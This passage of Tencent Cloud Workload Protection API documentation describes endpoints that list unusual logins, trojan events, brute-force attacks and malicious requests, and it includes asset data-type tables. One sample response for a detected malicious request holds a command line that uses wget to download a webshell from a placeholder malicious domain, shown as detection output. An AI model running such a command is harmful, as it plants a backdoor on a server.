Filters.N	No	Array of Filters	Filter parameters

3. Output Parameters

Parameter Name	Type	Description

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DownloadUrl	String	This parameter has been discarded.
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Downloaded Malicious Request Files

This example shows you how to export the downloaded malicious request files.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportMaliciousRequests
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"DownloadUrl": "http://download.url/xxx.csv"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.

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MisAlarmNonlocalLoginPlaces

Last updated：2020-07-31 11:18:52

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to set the current location as the usual login location.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: MisAlarmNonlocalLoginPlaces.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Ids.N	Yes	Array of Integer	Unusual login location event ID array.

3. Output Parameters

Parameter Name	Type	Description

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Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Setting usual login location

This example shows you how to set the current location as the usual login location.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=MisAlarmNonlocalLoginPlaces
&Ids.0=1
&Ids.1=2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for NodeJS
- Tencent Cloud SDK 3.0 for .NET

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Parameter parsing error.

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DescribeNonlocalLoginPlaces

Last updated：2020-07-31 11:18:53

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get unusual login events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeNonlocalLoginPlaces.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	No	String	Agent `Uuid` .
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter. • Keywords - String - Required: No - Query keywords • Status - String - Required: No - Login status (NON_LOCAL_LOGIN: unusual login location, NORMAL_LOGIN: intended login)

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records.
NonLocalLoginPlaces	Array of NonLocalLoginPlace	Unusual login location information array.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting unusual login location events

This example shows you how to get unusual login location events.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeNonlocalLoginPlaces
&Uuid=354f4ac3-8546-4516-8c8a-69e3ab73aa8a
&Filters.0.Name=Keyword
&Filters.0.Values.0=Centos
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"NonLocalLoginPlaces": [
{
"Id": 123,
"Uuid": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"MachineIp": "127.0.0.1",
"MachineName": "machine-name",
"Status": "NON_LOCAL_LOGIN",
"Username": "root",
```

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```
"City": 1,
"Country": 1,
"Province": 1,
"SrcIp": "127.0.0.1",
"LoginTime": "2018-07-18 12:16:09"
}
],
"TotalCount": 100
}
}
```


5. Developer Resources

API Explorer

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- API 3.0 Explorer

SDK

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- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

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Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Parameter parsing error.

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DescribeMalwares

Last updated：2020-07-31 11:18:54

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the list of trojan events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeMalwares.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	No	String	Agent `Uuid` .
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.

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Parameter Name	Required	Type	Description
Filters.N	No	Array of Filter	Filter. • Keywords - String - Required: No - Query keywords • Status - String - Required: No - Trojan status (UN_OPERATED: not processed, SEGREGATED: isolated, TRUSTED: trusted) Each filter supports only one value. Query with multiple values in "OR" relationship is not supported for the time being.

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of trojans.
Malwares	Array of Malware	Malware array.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting trojan information

This example shows you how to get the list of trojan events.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeMalwares
&Uuid=UUID
&Filters.0.Name=Keyword
&Filters.0.Values.0=Centos
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

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```
{
"Response": {
"Malwares": [
{
"Uuid": "UUID",
"Id": 123,
"Status": "TRUSTED",
"FilePath": "/temp/a.txt",
"Description": "webshell",
"MachineName": "gd_1",
"MachineIp": "127.0.0.1",
"FileCreateTime": "2018/07/16 16:20",
"ModifyTime": "2018/07/16 16:20"
}
],
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TotalCount": 100
}
}
```


5. Developer Resources

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Parameter parsing error.

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DescribeBruteAttacks

Last updated：2020-07-31 11:18:55

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the brute force attack event list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeBruteAttacks.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Uuid	No	String	Agent `Uuid` .
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter. • Keywords - String - Required: No - Query keywords • Status - String - Required: No - Query status (FAILED: brute force attack failed, SUCCESS: brute force attack succeeded)
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Number of events
BruteAttacks	Array of BruteAttack	Brute force attack event list
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting brute force attack event list

This example shows you how to get the brute force attack event list.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeBruteAttacks
&Filters.0.Name=Keywords
&Filters.0.Values.0=Centos
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"BruteAttacks": [
{
"Id": "123",
"Uuid": "6b6cd843-6bc1-4011-a74c-dc3fd26a7dd1",
"MachineIp": "127.0.0.1",
"MachineName": "Test server",
"Status": " BRUTEATTACK_SUCCESS",
"Username": "root",
"City": 1,
"Country": 1,
```

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```
"Province": 1,
"SrcIp": "127.0.0.1",
"Count": 10,
"CreateTime": "2018-01-01 12 :16:09"
}
],
"TotalCount": 100
}
}
```


5. Developer Resources

API Explorer

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SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description

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Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Parameter parsing error.

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UntrustMaliciousRequest

Last updated：2020-07-31 11:18:49

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to untrust a malicious request.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: UntrustMaliciousRequest.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Id	Yes	Integer	Trusted record ID.

3. Output Parameters

Parameter Name	Type	Description

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Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Untrusting malicious request

This example shows you how to untrust a malicious request.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=UntrustMaliciousRequest
&Id=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

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- API 3.0 Explorer

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.ParsingError	Parameter parsing error.
ResourceNotFound	The resource does not exist.

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TrustMaliciousRequest

Last updated：2020-07-31 11:18:50

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to trust a malicious request.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: TrustMaliciousRequest.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Id	Yes	Integer	Malicious request record ID.

3. Output Parameters

Parameter Name	Type	Description

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Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Trusting malicious request

This example shows you how to trusts a malicious request.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=TrustMaliciousRequest
&Id=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.ParsingError	Parameter parsing error.

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DescribeMaliciousRequests

Last updated：2020-07-31 11:18:54

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get malicious request data.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeMaliciousRequests.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter. • Status - String - Required: No - Filter by status (UN_OPERATED: to be processed, TRUSTED: trusted, UN_TRUSTED: untrusted) • Domain - String - Required: No - Malicious request domain name • MachineIp - String - Required: No - Private IP of server

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Parameter Name	Required	Type	Description
Uuid	No	String	CWP agent `UUID` .

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records.
MaliciousRequests	Array of MaliciousRequest	Malicious request record array.
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting malicious request data

This example shows you how to get malicious request data.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeMaliciousRequests
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"MaliciousRequests": [
{
"Id": 1,
"Uuid": "add4a78a-0d59-11e8-b7ab-00e081e1a5c5",
"MachineIp": "10.10.1.1",
"MachineName": "machienname",
```

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```
"Domain": "www.malicious_domain.com",
"Count": 10,
"ProcessName": "wget",
"Pid": 5577,
"ProcessMd5": "ab0ffdb812fab5a0e1e8b83d39c63ce9",
"CmdLine": "wget http://www.malicious_domain.com/webshell.php",
"Status": "UN_OPERATED",
"Description": "description",
"Reference": "reference",
"CreateTime": "2018-10-10 10:11:12",
"MergeTime": "2018-10-10 10:11:12"
}
],
"TotalCount": 100
}
}
```


5. Developer Resources

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.IllegalRequest	Invalid request.

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ModifyLoginWhiteList

Last updated：2020-07-31 11:18:51

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to edit a allowlist rule.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: ModifyLoginWhiteList.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Rules	Yes	LoginWhiteListsRule	Whitelist rule

3. Output Parameters

Parameter Name	Type	Description

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Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Editing login whitelist

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=ModifyLoginWhiteList
&Id=1
&Rules.0.CityId=1
&Rules.0.ProvinceId=1
&Rules.0.CountryId=1
&Rules.SrcIp=10.1.1.1
&Rules.UserName=admin,root
&Rules.IsGlobal=true
&Rules.HostIp=10.2.2.2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

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- API 3.0 Explorer

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Parameter parsing error.

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AddLoginWhiteList

Last updated：2020-07-31 11:18:56

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to add a allowlist rule.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: AddLoginWhiteList.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.
Rules	Yes	LoginWhiteListsRule	Whitelist rule

3. Output Parameters

Parameter Name	Type	Description

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Parameter Name	Type	Description
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Whitelisting unusual login location

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=AddLoginWhiteList
&Rules.0.CityId=1
&Rules.0.ProvinceId=1
&Rules.0.CountryId=1
&Rules.SrcIp=10.1.1.1
&Rules.UserName=admin
&Rules.IsGlobal=false
&Rules.HostIp=10.2.2.2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Parameter parsing error.

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Data Types

Last updated：2024-12-06 15:42:42

ABTestConfig

Grayscale project configuration

Used by actions: DescribeABTestConfig.

Name	Type	Description
ProjectName	String	Greyscale project name
Status	Boolean	true: grayscale release in progress; false: grayscale release not in progress.

AccountStatistics

Account statistics data

Used by actions: DescribeAccountStatistics.

Name	Type	Description
Username	String	Username
MachineNum	Integer	Number of hosts

AlarmInfo

Information on alarms associated with the node

Used by actions: DescribeVertexDetail.

Name	Type	Description
AlarmId	String	Table names of IDs of alarms associated with the node. Separate multiple pairs with commas. Example: t1:id1,t2:id2
Status	Integer	Alarm status. This parameter takes effect when this node is an alarm node.

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AssetAppBaseInfo

Basic information on the resource management process

Used by actions: DescribeAssetAppList.

Name	Type	Description
MachineIp	String	Host private IP address
MachineName	String	Host name
MachineWanIp	String	Host public IP address
Uuid	String	Host UUID
Quuid	String	Host QUUID
ProjectId	Integer	Host business group ID
Tag	Array of MachineTag	Host tag Note: This field may return null, indicating that no valid values can be obtained.
Name	String	Application name
Type	Integer	Application type 1: operations 2: database 3: Security 4: suspicious application 5: system architecture 6: system application 7: web service 99: other
BinPath	String	Binary path
OsInfo	String	Operating System Information
ProcessCount	Integer	Number of associated processes
Desc	String	Application description
Version	String	Version No.
ConfigPath	String	Configuration file path

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FirstTime	String	First collection time
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
IsNew	Integer	Whether the web service is newly added [0: no|1: yes] Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

AssetAppProcessInfo

Software application-related process information

Used by actions: DescribeAssetAppProcessList, DescribeAssetJarInfo, DescribeAssetWebServiceProcessList.

Name	Type	Description
Name	String	Name
Status	String	Process status
Version	String	Process version
Path	String	Path
User	String	User
StartTime	String	Startup time

AssetCoreModuleBaseInfo

List of information on the asset management kernel module

Used by actions: DescribeAssetCoreModuleList.

Name	Type	Description
Name	String	Name

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Desc	String	Description
Path	String	Path
Version	String	Version
MachineIp	String	Server IP
MachineName	String	Server name
OsInfo	String	Operating system
Size	Integer	Module size
ProcessCount	Integer	Number of dependent processes
ModuleCount	Integer	Number of dependent modules
Id	String	Module ID
Quuid	String	Host QUUID
Uuid	String	Host UUID
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First collection time
IsNew	Integer	Whether new [0: no|1: yes]
MachineWanIp	String	Server Public IP
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

AssetCoreModuleDetail

Details of the asset management kernel module

Used by actions: DescribeAssetCoreModuleInfo.

Name	Type	Description
Name	String	Name

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Desc	String	Description
Path	String	Path
Version	String	Version
Size	Integer	Size
Processes	String	Dependent processes
Modules	String	Dependent modules
Params	Array of AssetCoreModuleParam	Parameter information Note: This field may return null, indicating that no valid values can be obtained.
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.

AssetCoreModuleParam

Parameters of the asset management kernel module

Used by actions: DescribeAssetCoreModuleInfo.

Name	Type	Description
Name	String	Name
Data	String	Data

AssetDatabaseBaseInfo

Resource management database list information

Used by actions: DescribeAssetDatabaseList.

Name	Type	Description
MachineIp	String	Host private IP address
MachineWanIp	String	Host public IP address

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Quuid	String	Host QUUID
Uuid	String	Host UUID
OsInfo	String	Operating System Information
ProjectId	Integer	Host business group ID
Tag	Array of MachineTag	Host tag Note: This field may return null, indicating that no valid values can be obtained.
Name	String	Database name
Version	String	Version
Port	String	Listening port
Proto	String	Protocol
User	String	Running user
Ip	String	Bound IP
ConfigPath	String	Configuration file path
LogPath	String	Log file path
DataPath	String	Data path
Permission	String	Running permission
ErrorLogPath	String	Error log path
PlugInPath	String	Plugin path
BinPath	String	Binary path
Param	String	Startup parameter
Id	String	Database ID
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First collection time
IsNew	Integer	Whether newly added [0: no|1: yes]

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MachineName	String	Host name
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

AssetDatabaseDetail

Resource management database list information

Used by actions: DescribeAssetDatabaseInfo.

Name	Type	Description
MachineIp	String	Host private IP address
MachineWanIp	String	Host public IP address
Quuid	String	Host QUUID
Uuid	String	Host UUID
OsInfo	String	Operating System Information
Name	String	Database name
Version	String	Version
Port	String	Listening port
Proto	String	Protocol
User	String	Running user
Ip	String	Bind IP
ConfigPath	String	Configuration file path
LogPath	String	Log file path
DataPath	String	Data path
Permission	String	Running permission
ErrorLogPath	String	Error log path
PlugInPath	String	Plugin path

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BinPath	String	Binary path
Param	String	Startup parameter
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.

AssetDiskPartitionInfo

Asset management disk partition information

Used by actions: DescribeAssetDiskList, DescribeAssetMachineDetail.

Name	Type	Description
Name	String	Partition name
Size	Integer	Partition size (unit: G)
Percent	Float	Partition utilization
Type	String	File system type
Path	String	Mounting directory
Used	Integer	Used space (unit: G)

AssetEnvBaseInfo

List of asset management environment variables

Used by actions: DescribeAssetEnvList.

Name	Type	Description
Name	String	Name
Type	Integer	Type: 0: user variable 1: system variable
User	String	Startup user
Value	String	Environment variable value

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MachineIp	String	Server IP
MachineName	String	Server name
OsInfo	String	Operating system
Quuid	String	Host QUUID
Uuid	String	Host UUID
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First collection time
IsNew	Integer	Whether new [0: no|1: yes]
MachineWanIp	String	Server Public IP
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

AssetFilters

Container security

Description key-value pair filter, which is used for conditional filtering queries. For example, filter by ID, name, and status.

If there are multiple Filters, the logical relationship between them is AND.

If there are multiple Values in the same Filter, the logical relationship between the Values under the same Filter is OR.

Used by actions: DescribeAssetAppList, DescribeAssetCoreModuleList, DescribeAssetDatabaseList, DescribeAssetEnvList, DescribeAssetInitServiceList, DescribeAssetJarList, DescribeAssetPlanTaskList, DescribeAssetWebServiceInfoList, DescribeLoginWhiteHostList, ExportAssetAppList, ExportAssetCoreModuleList, ExportAssetDatabaseList, ExportAssetEnvList, ExportAssetInitServiceList, ExportAssetJarList, ExportAssetPlanTaskList, ExportAssetWebServiceInfoList.

Name	Type	Required	Description
Name	String	Yes	Name of filter key
Values	Array of String	Yes	One or more filter values

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ExactMatch	Boolean	No	Whether to use fuzzy query

AssetInitServiceBaseInfo

List of asset management startup services

Used by actions: DescribeAssetInitServiceList.

Name	Type	Description
Name	String	Name
Type	Integer	Type: 1: Encoder 2: IE plugin 3: Network provider 4: Mirror hijacking 5: LSA provider 6:KnownDLLs 7: Start execution 8:WMI 9: Scheduled task 10: Winsock provider 11: Print monitor 12: Resource manager 13: Driver service 14: Log-in
Status	Integer	Default enabling status: 0 - disabled; 1 - enabled
User	String	Startup user
Path	String	Path
MachineIp	String	Server IP
MachineName	String	Name
OsInfo	String	Operating system
Quuid	String	Host QUUID
Uuid	String	Host UUID
UpdateTime	String	Data update time

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FirstTime	String	First collection time
IsNew	Integer	Whether newly added [0: no|1: yes]
MachineWanIp	String	Server Public IP
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.
IsAutoRun	Integer	Start at boot [0: No|1: Yes]

AssetJarBaseInfo

List of asset management JAR packages

Used by actions: DescribeAssetJarList.

Name	Type	Description
Name	String	Name
Type	Integer	Type. 1: application; 2: system class library; 3: web service built-in library; 8: others.
Status	Integer	Whether it is executable. 0: unknown; 1: yes; 2: no.
Version	String	Version
Path	String	Path
MachineIp	String	Server IP address
MachineName	String	Server name
OsInfo	String	Operating system
Id	String	JAR package ID
Md5	String	JAR package Md5
Quuid	String	Host QUUID
Uuid	String	Host UUID
UpdateTime	String	Data update time

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		Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First collection time
IsNew	Integer	Whether it is newly added [0: no | 1: yes]
MachineWanIp	String	Server public IP
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

AssetJarDetail

Asset management jar package details

Used by actions: DescribeAssetJarInfo.

Name	Type	Description
Name	String	Name
Type	Integer	Type: 1: application; 2: system library; 3: Web service built-in library; 8: other
Status	Integer	Whether executable: 0: unknown; 1: yes; 2: no
Version	String	Version
Path	String	Path
MachineIp	String	Server IP
MachineName	String	Server name
OsInfo	String	Operating system
Process	Array of AssetAppProcessInfo	Reference process list Note: This field may return null, indicating that no valid values can be obtained.
Md5	String	Jar package Md5 Note: This field may return null, indicating that no valid values can be obtained.

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UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.

AssetKeyVal

Generic data structure of Key-val type

Used by actions: DescribeAssetAppCount, DescribeAssetDatabaseCount, DescribeAssetHostTotalCount, DescribeAssetMachineTagTop, DescribeAssetPortCount, DescribeAssetProcessCount, DescribeAssetRecentMachineInfo, DescribeAssetTotalCount, DescribeAssetTypeTop, DescribeAssetUserCount, DescribeAssetWebAppCount, DescribeAssetWebFrameCount, DescribeAssetWebLocationCount, DescribeAssetWebServiceCount.

Name	Type	Description
Key	String	Tag
Value	Integer	Quantity
Desc	String	Description information Note: This field may return null, indicating that no valid values can be obtained.
NewCount	Integer	Number of additions today Note: This field may return null, indicating that no valid values can be obtained.

AssetLoadDetail

Asset management load information

Used by actions: DescribeAssetLoadInfo.

Name	Type	Description
MachineName	String	Host name
Desc	String	Description
Value	Float	Load
Quuid	String	Host QUUID
Uuid	String	Host UUID

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AssetLoadSummary

Resource load overview

Used by actions: DescribeAssetLoadInfo.

Name	Type	Description
Counts	Array of Integer	Load amount array, in ascending order: [0% or unknown quantity 0%～20% 20%～50% 50%～80% 80%～100%]
Top5	Array of AssetLoadDetail	Top 5 Load Note: This field may return null, indicating that no valid values can be obtained.

AssetMachineBaseInfo

Basic information on the server list in asset fingerprint

Used by actions: DescribeAssetMachineList.

Name	Type	Description
Quuid	String	Server QUUID
Uuid	String	Server UUID
MachineIp	String	Private IP address of server
MachineName	String	Server name
OsInfo	String	Operating system name
Cpu	String	CPU information
MemSize	Integer	Memory capacity, in GB

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MemLoad	String	Memory utilization, in percentage
DiskSize	Integer	Hard disk capacity, in GB
DiskLoad	String	Hard disk utilization, in percentage
PartitionCount	Integer	Number of partitions
MachineWanIp	String	Host public IP address
ProjectId	Integer	Business group ID
CpuSize	Integer	CPU count
CpuLoad	String	CPU utilization, in percentage
Tag	Array of MachineTag	Tag Note: This field may return null, indicating that no valid values can be obtained.
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
IsNew	Integer	Whether it is newly added [0 - no;1 - yes]
